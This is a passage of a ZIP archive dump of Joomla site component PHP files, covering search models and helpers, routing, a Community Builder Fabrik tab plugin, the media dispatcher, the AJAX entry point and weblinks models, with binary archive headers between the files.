        $id .= ':' . $query->language;
        $id .= ':' . $query->filter;
        $id .= ':' . serialize($query->filters);
        $id .= ':' . $query->date1;
        $id .= ':' . $query->date2;
        $id .= ':' . $query->when1;
        $id .= ':' . $query->when2;

        if ($page) {
            // Add the list state for page specific data.
            $id .= ':' . $this->getState('list.start');
            $id .= ':' . $this->getState('list.limit');
            $id .= ':' . $this->getState('list.ordering');
            $id .= ':' . $this->getState('list.direction');
        }

        return parent::getStoreId($id);
    }

    /**
     * Method to auto-populate the model state.  Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   An optional ordering field. [optional]
     * @param   string  $direction  An optional direction. [optional]
     *
     * @return  void
     *
     * @since   2.5
     */
    protected function populateState($ordering = null, $direction = null)
    {
        // Get the configuration options.
        $app      = Factory::getApplication();
        $input    = $app->getInput();
        $params   = $app->getParams();
        $user     = $this->getCurrentUser();
        $language = $app->getLanguage();

        $this->setState('filter.language', Multilanguage::isEnabled());

        $request = $input->request;
        $options = [];

        // Get the empty query setting.
        $options['empty'] = $params->get('allow_empty_query', 0);

        // Get the static taxonomy filters.
        $options['filter'] = $request->getInt('f', $params->get('f', ''));

        // Get the dynamic taxonomy filters.
        $options['filters'] = $request->get('t', $params->get('t', []), 'array');

        // Get the query string.
        $options['input'] = $request->getString('q', $params->get('q', ''));

        // Get the query language.
        $options['language'] = $request->getCmd('l', $params->get('l', $language->getTag()));

        // Set the word match mode
        $options['word_match'] = $params->get('word_match', 'exact');

        // Get the start date and start date modifier filters.
        $options['date1'] = $request->getString('d1', $params->get('d1', ''));
        $options['when1'] = $request->getString('w1', $params->get('w1', ''));

        // Get the end date and end date modifier filters.
        $options['date2'] = $request->getString('d2', $params->get('d2', ''));
        $options['when2'] = $request->getString('w2', $params->get('w2', ''));

        // Load the query object.
        $this->searchquery = new Query($options, $this->getDatabase());

        // Load the query token data.
        $this->excludedTerms = $this->searchquery->getExcludedTermIds();
        $this->includedTerms = $this->searchquery->getIncludedTermIds();
        $this->requiredTerms = $this->searchquery->getRequiredTermIds();

        // Load the list state.
        $this->setState('list.start', $input->get('limitstart', 0, 'uint'));
        $this->setState('list.limit', $input->get('limit', $params->get('list_limit', $app->get('list_limit', 20)), 'uint'));

        /*
         * Load the sort ordering.
         * Currently this is 'hard' coded via menu item parameter but may not satisfy a users need.
         * More flexibility was way more user friendly. So we allow the user to pass a custom value
         * from the pool of fields that are indexed like the 'title' field.
         * Also, we allow this parameter to be passed in either case (lower/upper).
         */
        $order = $input->getWord('o', $params->get('sort_order', 'relevance'));
        $order = StringHelper::strtolower($order);
        $this->setState('list.raworder', $order);

        switch ($order) {
            case 'date':
                $this->setState('list.ordering', 'l.start_date');
                break;

            case 'price':
                $this->setState('list.ordering', 'l.list_price');
                break;

            case 'sale_price':
                $this->setState('list.ordering', 'l.sale_price');
                break;

            case ($order === 'relevance' && !empty($this->includedTerms)):
                $this->setState('list.ordering', 'm.weight');
                break;

            case 'title':
                $this->setState('list.ordering', 'l.title');
                break;

            default:
                $this->setState('list.ordering', 'l.link_id');
                $this->setState('list.raworder');
                break;
        }

        /*
         * Load the sort direction.
         * Currently this is 'hard' coded via menu item parameter but may not satisfy a users need.
         * More flexibility was way more user friendly. So we allow to be inverted.
         * Also, we allow this parameter to be passed in either case (lower/upper).
         */
        $dirn = $input->getWord('od', $params->get('sort_direction', 'desc'));
        $dirn = StringHelper::strtolower($dirn);

        switch ($dirn) {
            case 'asc':
                $this->setState('list.direction', 'ASC');
                break;

            default:
                $this->setState('list.direction', 'DESC');
                break;
        }

        // Set the match limit.
        $this->setState('match.limit', 1000);

        // Load the parameters.
        $this->setState('params', $params);

        // Load the user state.
        $this->setState('user.id', (int) $user->get('id'));
        $this->setState('user.groups', $user->getAuthorisedViewLevels());
    }
}
PK���\@T�M��&com_finder/src/Helper/FinderHelper.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Site\Helper;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\Component\Finder\Administrator\Indexer\Query;
use Joomla\Database\ParameterType;

// phpcs:disable PSR1.Files.SideEffects
\defined('JPATH_PLATFORM') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Helper class for Joomla! Finder components
 *
 * @since  4.0.0
 */
class FinderHelper
{
    /**
     * Method to log searches to the database
     *
     * @param   Query    $searchquery  The search query
     * @param   integer  $resultCount  The number of results for this search
     *
     * @return  void
     *
     * @since   4.0.0
     */
    public static function logSearch(Query $searchquery, $resultCount = 0)
    {
        if (!ComponentHelper::getParams('com_finder')->get('gather_search_statistics', 0)) {
            return;
        }

        if (trim($searchquery->input) == '' && !$searchquery->empty) {
            return;
        }

        // Initialise our variables
        $db    = Factory::getDbo();
        $query = $db->getQuery(true);

        // Sanitise the term for the database
        $temp              = new \stdClass();
        $temp->input       = trim(strtolower((string) $searchquery->input));
        $entry             = new \stdClass();
        $entry->searchterm = $temp->input;
        $entry->query      = serialize($temp);
        $entry->md5sum     = md5($entry->query);
        $entry->hits       = 1;
        $entry->results    = $resultCount;

        // Query the table to determine if the term has been searched previously
        $query->select($db->quoteName('hits'))
            ->from($db->quoteName('#__finder_logging'))
            ->where($db->quoteName('md5sum') . ' = ' . $db->quote($entry->md5sum));
        $db->setQuery($query);
        $hits = (int) $db->loadResult();

        // Reset the $query object
        $query->clear();

        // Update the table based on the results
        if ($hits) {
            $query->update($db->quoteName('#__finder_logging'))
                ->set('hits = (hits + 1)')
                ->where($db->quoteName('md5sum') . ' = ' . $db->quote($entry->md5sum));
            $db->setQuery($query);
            $db->execute();
        } else {
            $query->insert($db->quoteName('#__finder_logging'))
                ->columns(
                    [
                        $db->quoteName('searchterm'),
                        $db->quoteName('query'),
                        $db->quoteName('md5sum'),
                        $db->quoteName('hits'),
                        $db->quoteName('results'),
                    ]
                )
                ->values('?, ?, ?, ?, ?')
                ->bind(1, $entry->searchterm)
                ->bind(2, $entry->query, ParameterType::LARGE_OBJECT)
                ->bind(3, $entry->md5sum)
                ->bind(4, $entry->hits, ParameterType::INTEGER)
                ->bind(5, $entry->results, ParameterType::INTEGER);
            $db->setQuery($query);
            $db->execute();
        }
    }
}
PK���\(�ʬ%com_finder/src/Helper/RouteHelper.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Site\Helper;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Finder route helper class.
 *
 * @since  2.5
 */
class RouteHelper
{
    /**
     * Method to get the route for a search page.
     *
     * @param   integer  $f  The search filter id. [optional]
     * @param   string   $q  The search query string. [optional]
     *
     * @return  string  The search route.
     *
     * @since   2.5
     */
    public static function getSearchRoute($f = null, $q = null)
    {
        // Get the menu item id.
        $query = ['view' => 'search', 'q' => $q, 'f' => $f];
        $item  = self::getItemid($query);

        // Get the base route.
        $uri = clone Uri::getInstance('index.php?option=com_finder&view=search');

        // Add the pre-defined search filter if present.
        if ($f !== null) {
            $uri->setVar('f', $f);
        }

        // Add the search query string if present.
        if ($q !== null) {
            $uri->setVar('q', $q);
        }

        // Add the menu item id if present.
        if ($item !== null) {
            $uri->setVar('Itemid', $item);
        }

        return $uri->toString(['path', 'query']);
    }

    /**
     * Method to get the route for an advanced search page.
     *
     * @param   integer  $f  The search filter id. [optional]
     * @param   string   $q  The search query string. [optional]
     *
     * @return  string  The advanced search route.
     *
     * @since   2.5
     */
    public static function getAdvancedRoute($f = null, $q = null)
    {
        // Get the menu item id.
        $query = ['view' => 'advanced', 'q' => $q, 'f' => $f];
        $item  = self::getItemid($query);

        // Get the base route.
        $uri = clone Uri::getInstance('index.php?option=com_finder&view=advanced');

        // Add the pre-defined search filter if present.
        if ($q !== null) {
            $uri->setVar('f', $f);
        }

        // Add the search query string if present.
        if ($q !== null) {
            $uri->setVar('q', $q);
        }

        // Add the menu item id if present.
        if ($item !== null) {
            $uri->setVar('Itemid', $item);
        }

        return $uri->toString(['path', 'query']);
    }

    /**
     * Method to get the most appropriate menu item for the route based on the
     * supplied query needles.
     *
     * @param   array  $query  An array of URL parameters.
     *
     * @return  mixed  An integer on success, null otherwise.
     *
     * @since   2.5
     */
    public static function getItemid($query)
    {
        static $items, $active;

        // Get the menu items for com_finder.
        if (!$items || !$active) {
            $app    = Factory::getApplication();
            $com    = ComponentHelper::getComponent('com_finder');
            $menu   = $app->getMenu();
            $active = $menu->getActive();
            $items  = $menu->getItems('component_id', $com->id);
            $items  = is_array($items) ? $items : [];
        }

        // Try to match the active view and filter.
        if ($active && @$active->query['view'] == @$query['view'] && @$active->query['f'] == @$query['f']) {
            return $active->id;
        }

        // Try to match the view, query, and filter.
        foreach ($items as $item) {
            if (@$item->query['view'] == @$query['view'] && @$item->query['q'] == @$query['q'] && @$item->query['f'] == @$query['f']) {
                return $item->id;
            }
        }

        // Try to match the view and filter.
        foreach ($items as $item) {
            if (@$item->query['view'] == @$query['view'] && @$item->query['f'] == @$query['f']) {
                return $item->id;
            }
        }

        // Try to match the view.
        foreach ($items as $item) {
            if (@$item->query['view'] == @$query['view']) {
                return $item->id;
            }
        }

        return null;
    }
}
PK���\���]mm!com_finder/src/Service/Router.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Site\Service;

use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Component\Router\RouterView;
use Joomla\CMS\Component\Router\RouterViewConfiguration;
use Joomla\CMS\Component\Router\Rules\MenuRules;
use Joomla\CMS\Component\Router\Rules\NomenuRules;
use Joomla\CMS\Component\Router\Rules\StandardRules;
use Joomla\CMS\Menu\AbstractMenu;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Routing class from com_finder
 *
 * @since  3.3
 */
class Router extends RouterView
{
    /**
     * Finder Component router constructor
     *
     * @param   SiteApplication  $app   The application object
     * @param   AbstractMenu     $menu  The menu object to work with
     */
    public function __construct(SiteApplication $app, AbstractMenu $menu)
    {
        $search = new RouterViewConfiguration('search');
        $this->registerView($search);

        parent::__construct($app, $menu);

        $this->attachRule(new MenuRules($this));
        $this->attachRule(new StandardRules($this));
        $this->attachRule(new NomenuRules($this));
    }
}
PK���\.���?
?
6com_comprofiler/plugin/user/plug_fabrik/fbk.fabrik.phpnu&1i�<?php
/**
*/

use CB\Database\Table\PluginTable;
use CB\Database\Table\TabTable;
use CB\Database\Table\UserTable;
use CBLib\Language\CBTxt;

if ( ! ( defined( '_VALID_CB' ) || defined( '_JEXEC' ) || defined( '_VALID_MOS' ) ) ) { die( 'Direct Access to this location is not allowed.' ); }

global $_PLUGINS;

// TODO: This should be in a function: We should have no code in files outside of classes:
$_PLUGINS->loadPluginGroup( 'user' );

class getFabrikTab extends cbTabHandler {

	function getFabrikTab()
	{
		$this->cbTabHandler();
	}

	function __construct($tab,$user,$ui)
	{
		// $$$ hugh - added privacy option, so you can restrict who sees the tab, requested on forums:
		// http://fabrikar.com/forums/showthread.php?p=128127#post128127
		// privacy setting:
		// 0 = public
		// 1 = profile owner only
		// 2 = profile owner and admins
		$private = (int)$this->params->get('fabrik_private', '0');
		if ($private > 0) {
			$viewer = JFactory::getuser();
			if ($private === 1) {
				if ($user->get('user_id') != $viewer->get('id')) {
					return false;
				}
			}
			else if ($private === 2) {
				if ($user->get('id') !== $viewer->get('id') && ($viewer->get('gid') != 24 && $viewer->get('gid') != 25)) {
					return false;
				}
			}
		}
		$dispatcher = new JDispatcher();
		JPluginHelper::importPlugin('content', 'fabrik', true, $dispatcher);
		if (JPluginHelper::importPlugin('content', 'fabrik', true, $dispatcher) !== true)
		{
			throw new RuntimeException(JText::_('Fabrik content plugin not loaded in CB tab!  Check that it is installed and enabled.'), 400);
		}
		$dispatcher->register('content', 'plgContentFabrik');
		$args = array();
		$article = new stdClass();
		$txt = $this->params->get('plugintext');

		// $$$ hugh - set profile user in session so Fabrik user element can get at it
		// TODO - should really make this table/form specific!

		$session = JFactory::getSession();
		// $$$ hugh - testing using a unique session hash, which we will stuff in the
		// plugin args, and will get added where necessary in Fabrik lists and forms so
		// we can actually track the right form submissions with their coresponding CB
		// profiles.
		$social_hash = md5(serialize(array(JRequest::getURI(), $tab, $user)));
		$session->set('fabrik.plugin.' . $social_hash . '.profile_id', $user->get('id'));
		// do the old style one without the hash for backward compat
		$session->set('fabrik.plugin.profile_id', $user->get('id'));

		if (empty($txt))
		{
			$txt = '{fabrik_social_profile_hash=' . $social_hash . '}';
		}
		else
		{
			$txt = rtrim($txt, '}') . " fabrik_social_profile_hash=" . $social_hash . '}';
		}

		//do some dynamic replacesments with the owner's data
		foreach ($user as $k=>$v) {
			if (strstr( $txt, "{\$my->$k}" )) {
				$txt = str_replace("{\$my->$k}", $v, $txt);
			}
			else if (strstr( $txt, "[\$my->$k]" )) {
				$txt = str_replace("[\$my->$k]", $v, $txt);
			}
			// $$$ hugh - might as well stuff the entire CB user object in the session
			$session->set('fabrik.plugin.' . $social_hash . '.' . $k, $v);
		}

		$params = new stdClass();
		$args[] = 0;
		$article->text = $txt;
		$args[] = &$article;
		$args[] = &$params;
		$res = $dispatcher->trigger('onContentPrepare', $args);
		// $$$ peamak http://fabrikar.com/forums/showthread.php?t=10446&page=2
    $dispatcher->register('content', 'plgContentFabrik');
		return  $article->text;
	}
}
?>
PK���\�����6com_comprofiler/plugin/user/plug_fabrik/fbk.fabrik.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?>
<cbinstall version="1.0" type="plugin" group="user">
	<name>Fabrik</name>
	<author>Media A-Team, Inc.</author>
	<creationDate>Jan 2009</creationDate>
	<copyright>(C) 2005-2008 fabrikar.com</copyright>
	<license>http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2</license>
	<authorEmail>rob@pollen-8.co.uk</authorEmail>
	<authorUrl>www.fabrikar.com</authorUrl>
	<version>2.1</version>
	<description>Fabrik tab</description>
	<files>
		<filename plugin="fbk.fabrik">fbk.fabrik.php</filename>
		<filename>index.html</filename>
	</files>
	<params>
	</params>
	<tabs>
    	<tab name="Fabrik" description="" class="getFabrikTab" fields="0" position="cb_main" displaytype="tab">

			<params>
				<param name="plugintext" type="text" size="40" default="" label="plugin text" description="Use standard joomla plugin code - e.g. {fabrik view=table id=1}" />
	    		<param name="fabrik_private" type="radio" default="0" label="Tab Visibility" description="Controls who can see this tab.  Public is normal behavior, visible to everyone.  You may optionally restrict visibility to just the profile owner, or the owner plus admins (Administrator and Super Admin)">
	     			<option value="0">Public</option>
	     			<option value="1">User Only</option>
	     			<option value="2">User and Admins</option>	     			
	   			</param>
			</params>

			<fields>
			</fields>
			
		</tab>
    </tabs> 
	<database>
	</database>
</cbinstall>PK���\2com_comprofiler/plugin/user/plug_fabrik/index.htmlnu&1i�PK���\�V�com_media/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\�B�ww'com_media/src/Dispatcher/Dispatcher.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_media
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Media\Site\Dispatcher;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Dispatcher\ComponentDispatcher;
use Joomla\CMS\MVC\Controller\BaseController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * ComponentDispatcher class for com_media
 *
 * @since  4.0.0
 */
class Dispatcher extends ComponentDispatcher
{
    /**
     * Load the language
     *
     * @since   4.0.0
     *
     * @return  void
     */
    protected function loadLanguage()
    {
        // Load the administrator languages needed for the media manager
        $this->app->getLanguage()->load('', JPATH_ADMINISTRATOR);
        $this->app->getLanguage()->load($this->option, JPATH_ADMINISTRATOR);

        parent::loadLanguage();
    }

    /**
     * Method to check component access permission
     *
     * @since   4.0.0
     *
     * @return  void
     */
    protected function checkAccess()
    {
        $user = $this->app->getIdentity();

        // Access check
        if (
            !$user->authorise('core.manage', 'com_media')
            && !$user->authorise('core.create', 'com_media')
        ) {
            throw new NotAllowed($this->app->getLanguage()->_('JERROR_ALERTNOAUTHOR'), 403);
        }
    }

    /**
     * Get a controller from the component
     *
     * @param   string  $name    Controller name
     * @param   string  $client  Optional client (like Administrator, Site etc.)
     * @param   array   $config  Optional controller config
     *
     * @return  BaseController
     *
     * @since   4.0.0
     */
    public function getController(string $name, string $client = '', array $config = []): BaseController
    {
        $config['base_path'] = JPATH_ADMINISTRATOR . '/components/com_media';

        // Force to load the admin controller
        return parent::getController($name, 'Administrator', $config);
    }
}
PK���\#����com_ajax/ajax.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_ajax
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Response\JsonResponse;
use Joomla\CMS\Table\Table;

/*
 * References
 *  Support plugins in your component
 * - https://docs.joomla.org/Special:MyLanguage/Supporting_plugins_in_your_component
 *
 * Best way for JSON output
 * - https://groups.google.com/d/msg/joomla-dev-cms/WsC0nA9Fixo/Ur-gPqpqh-EJ
 */

/** @var \Joomla\CMS\Application\CMSApplication $app */
$app = Factory::getApplication();
$app->allowCache(false);

// Prevent the api url from being indexed
$app->setHeader('X-Robots-Tag', 'noindex, nofollow');

// JInput object
$input = $app->getInput();

// Requested format passed via URL
$format = strtolower($input->getWord('format', ''));

// Initialize default response and module name
$results = null;
$parts   = null;

// Check for valid format
if (!$format) {
    $results = new InvalidArgumentException(Text::_('COM_AJAX_SPECIFY_FORMAT'), 404);
} elseif ($input->get('module')) {
    /**
     * Module support.
     *
     * modFooHelper::getAjax() is called where 'foo' is the value
     * of the 'module' variable passed via the URL
     * (i.e. index.php?option=com_ajax&module=foo).
     *
     */
    $module   = $input->get('module');
    $table    = Table::getInstance('extension');
    $moduleId = $table->find(['type' => 'module', 'element' => 'mod_' . $module]);

    if ($moduleId && $table->load($moduleId) && $table->enabled) {
        $helperFile = JPATH_BASE . '/modules/mod_' . $module . '/helper.php';

        if (strpos($module, '_')) {
            $parts = explode('_', $module);
        } elseif (strpos($module, '-')) {
            $parts = explode('-', $module);
        }

        if ($parts) {
            $class = 'Mod';

            foreach ($parts as $part) {
                $class .= ucfirst($part);
            }

            $class .= 'Helper';
        } else {
            $class = 'Mod' . ucfirst($module) . 'Helper';
        }

        $method = $input->get('method') ?: 'get';

        $moduleInstance = $app->bootModule('mod_' . $module, $app->getName());

        if ($moduleInstance instanceof \Joomla\CMS\Helper\HelperFactoryInterface && $helper = $moduleInstance->getHelper(substr($class, 3))) {
            $results = method_exists($helper, $method . 'Ajax') ? $helper->{$method . 'Ajax'}() : null;
        }

        if ($results === null && is_file($helperFile)) {
            JLoader::register($class, $helperFile);

            if (method_exists($class, $method . 'Ajax')) {
                // Load language file for module
                $basePath = JPATH_BASE;
                $lang     = Factory::getLanguage();
                $lang->load('mod_' . $module, $basePath)
                || $lang->load('mod_' . $module, $basePath . '/modules/mod_' . $module);

                try {
                    $results = call_user_func($class . '::' . $method . 'Ajax');
                } catch (Exception $e) {
                    $results = $e;
                }
            } else {
                // Method does not exist
                $results = new LogicException(Text::sprintf('COM_AJAX_METHOD_NOT_EXISTS', $method . 'Ajax'), 404);
            }
        } elseif ($results === null) {
            // The helper file does not exist
            $results = new RuntimeException(Text::sprintf('COM_AJAX_FILE_NOT_EXISTS', 'mod_' . $module . '/helper.php'), 404);
        }
    } else {
        // Module is not published, you do not have access to it, or it is not assigned to the current menu item
        $results = new LogicException(Text::sprintf('COM_AJAX_MODULE_NOT_ACCESSIBLE', 'mod_' . $module), 404);
    }
} elseif ($input->get('plugin')) {
    /**
     * Plugin support by default is based on the "Ajax" plugin group.
     * An optional 'group' variable can be passed via the URL.
     *
     * The plugin event triggered is onAjaxFoo, where 'foo' is
     * the value of the 'plugin' variable passed via the URL
     * (i.e. index.php?option=com_ajax&plugin=foo)
     *
     */
    $group      = $input->get('group', 'ajax');
    PluginHelper::importPlugin($group);
    $plugin     = ucfirst($input->get('plugin'));

    try {
        $results = Factory::getApplication()->triggerEvent('onAjax' . $plugin);
    } catch (Exception $e) {
        $results = $e;
    }
} elseif ($input->get('template')) {
    /**
     * Template support.
     *
     * tplFooHelper::getAjax() is called where 'foo' is the value
     * of the 'template' variable passed via the URL
     * (i.e. index.php?option=com_ajax&template=foo).
     *
     */
    $template   = $input->get('template');
    $table      = Table::getInstance('extension');
    $templateId = $table->find(['type' => 'template', 'element' => $template]);

    if ($templateId && $table->load($templateId) && $table->enabled) {
        $basePath   = ($table->client_id) ? JPATH_ADMINISTRATOR : JPATH_SITE;
        $helperFile = $basePath . '/templates/' . $template . '/helper.php';

        if (strpos($template, '_')) {
            $parts = explode('_', $template);
        } elseif (strpos($template, '-')) {
            $parts = explode('-', $template);
        }

        if ($parts) {
            $class = 'Tpl';

            foreach ($parts as $part) {
                $class .= ucfirst($part);
            }

            $class .= 'Helper';
        } else {
            $class = 'Tpl' . ucfirst($template) . 'Helper';
        }

        $method = $input->get('method') ?: 'get';

        if (is_file($helperFile)) {
            JLoader::register($class, $helperFile);

            if (method_exists($class, $method . 'Ajax')) {
                // Load language file for template
                $lang = Factory::getLanguage();
                $lang->load('tpl_' . $template, $basePath)
                || $lang->load('tpl_' . $template, $basePath . '/templates/' . $template);

                try {
                    $results = call_user_func($class . '::' . $method . 'Ajax');
                } catch (Exception $e) {
                    $results = $e;
                }
            } else {
                // Method does not exist
                $results = new LogicException(Text::sprintf('COM_AJAX_METHOD_NOT_EXISTS', $method . 'Ajax'), 404);
            }
        } else {
            // The helper file does not exist
            $results = new RuntimeException(Text::sprintf('COM_AJAX_FILE_NOT_EXISTS', 'tpl_' . $template . '/helper.php'), 404);
        }
    } else {
        // Template is not assigned to the current menu item
        $results = new LogicException(Text::sprintf('COM_AJAX_TEMPLATE_NOT_ACCESSIBLE', 'tpl_' . $template), 404);
    }
}

// Return the results in the desired format
switch ($format) {
    // JSONinzed
    case 'json':
        echo new JsonResponse($results, null, false, $input->get('ignoreMessages', true, 'bool'));

        break;

    // Handle as raw format
    default:
        // Output exception
        if ($results instanceof Exception) {
            // Log an error
            Log::add($results->getMessage(), Log::ERROR);

            // Set status header code
            $app->setHeader('status', $results->getCode(), true);

            // Echo exception type and message
            $out = get_class($results) . ': ' . $results->getMessage();
        } elseif (is_scalar($results)) {
            // Output string/ null
            $out = (string) $results;
        } else {
            // Output array/ object
            $out = implode((array) $results);
        }

        echo $out;

        break;
}
PK���\�V�com_ajax/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\����''$com_weblinks/src/Model/FormModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\Model;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

use Joomla\CMS\Factory;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Weblinks\Administrator\Model\WeblinkModel;

/**
 * Weblinks model.
 *
 * @since  1.6
 */
class FormModel extends WeblinkModel
{
    /**
     * Model typeAlias string. Used for version history.
     *
     * @var    string
     * @since  3.2
     */
    public $typeAlias = 'com_weblinks.weblink';

    /**
     * Get the return URL.
     *
     * @return  string  The return URL.
     *
     * @since   1.6
     */
    public function getReturnPage()
    {
        return base64_encode($this->getState('return_page', ''));
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState()
    {
        $app = Factory::getApplication();

        // Load state from the request.
        $pk = $app->getInput()->getInt('w_id');
        $this->setState('weblink.id', $pk);

        // Add compatibility variable for default naming conventions.
        $this->setState('form.id', $pk);

        $categoryId = $app->getInput()->getInt('catid');
        $this->setState('weblink.catid', $categoryId);

        $return = $app->getInput()->get('return', '', 'base64');

        if ($return && !Uri::isInternal(base64_decode($return))) {
            $return = '';
        }

        $this->setState('return_page', base64_decode($return));

        // Load the parameters.
        $params = $app->getParams();
        $this->setState('params', $params);

        $this->setState('layout', $app->getInput()->getString('layout'));
    }

    /**
     * Abstract method for getting the form from the model.
     *
     * @param   array    $data      Data for the form.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  mixed  A JForm object on success, false on failure
     *
     * @since   __DEPLOY_VERSION__
     */
    public function getForm($data = [], $loadData = true)
    {
        $form = $this->loadForm('com_weblinks.form', 'weblink', ['control' => 'jform', 'load_data' => $loadData]);

        // Disable the buttons and just allow editor none for not authenticated users
        if ($this->getCurrentUser()->guest) {
            $form->setFieldAttribute('description', 'editor', 'none');
            $form->setFieldAttribute('description', 'buttons', 'no');
        }

        return $form;
    }

    /**
     * Method to get a table object, load it if necessary.
     *
     * @param   string  $name     The table name. Optional.
     * @param   string  $prefix   The class prefix. Optional.
     * @param   array   $options  Configuration array for model. Optional.
     *
     * @return  Table  A Table object
     *
     * @since   4.0.0
     * @throws  \Exception
     */
    public function getTable($name = 'Weblink', $prefix = 'Administrator', $options = [])
    {
        return parent::getTable($name, $prefix, $options);
    }
}
PK���\h6�2�2(com_weblinks/src/Model/CategoryModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\Model;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Table\Category;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;

/**
 * Weblinks Component Weblink Model
 *
 * @since  1.5
 */
class CategoryModel extends ListModel
{
    /**
     * Category item data
     *
     * @var CategoryNode|null
     */
    protected $_item = null;

    /**
     * Category left of this one
     *
     * @var    CategoryNode|null
     */
    protected $_leftsibling = null;

    /**
     * Category right right of this one
     *
     * @var    CategoryNode|null
     */
    protected $_rightsibling = null;

    /**
     * Array of child-categories
     *
     * @var    CategoryNode[]|null
     */
    protected $_children = null;

    /**
     * Parent category of the current one
     *
     * @var    CategoryNode|null
     */
    protected $_parent = null;

    /**
     * Constructor.
     *
     * @param   array  $config  An optional associative array of configuration settings.
     *
     * @see     JControllerLegacy
     * @since   1.6
     */
    public function __construct($config = [])
    {
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = [
                'id', 'a.id',
                'title', 'a.title',
                'hits', 'a.hits',
                'ordering', 'a.ordering',
            ];
        }

        parent::__construct($config);
    }


    /**
     * Method to get a list of items.
     *
     * @return  mixed  An array of objects on success, false on failure.
     */
    public function getItems()
    {
        // Invoke the parent getItems method to get the main list
        $items = parent::getItems();

        $taggedItems = [];

        // Convert the params field into an object, saving original in _params
        foreach ($items as $item) {
            if (!isset($this->_params)) {
                $item->params = new Registry($item->params);
            }

            // Some contexts may not use tags data at all, so we allow callers to disable loading tag data
            if ($this->getState('load_tags', true)) {
                $item->tags             = new TagsHelper();
                $taggedItems[$item->id] = $item;
            }
        }

        // Load tags of all items.
        if ($taggedItems) {
            $tagsHelper = new TagsHelper();
            $itemIds    = array_keys($taggedItems);

            foreach ($tagsHelper->getMultipleItemTags('com_weblinks.weblink', $itemIds) as $id => $tags) {
                $taggedItems[$id]->tags->itemTags = $tags;
            }
        }

        return $items;
    }

    /**
     * Method to get a JDatabaseQuery object for retrieving the data set from a database.
     *
     * @return  \JDatabaseQuery   A JDatabaseQuery object to retrieve the data set.
     *
     * @since   1.6
     */
    protected function getListQuery()
    {
        $viewLevels = $this->getCurrentUser()->getAuthorisedViewLevels();

        // Create a new query object.
        $db    = $this->getDatabase();
        $query = $db->getQuery(true);

        // Select required fields from the categories.
        $query->select($this->getState('list.select', 'a.*'))
            ->from($db->quoteName('#__weblinks') . ' AS a')
            ->whereIn($db->quoteName('a.access'), $viewLevels);

        // Filter by category.
        if ($categoryId = $this->getState('category.id')) {
            // Group by subcategory
            if ($this->getState('category.group', 0)) {
                $query->select('c.title AS category_title')
                    ->where('c.parent_id = :parent_id')
                    ->bind(':parent_id', $categoryId, ParameterType::INTEGER)
                    ->join('LEFT', '#__categories AS c ON c.id = a.catid')
                    ->whereIn($db->quoteName('c.access'), $viewLevels);
            } else {
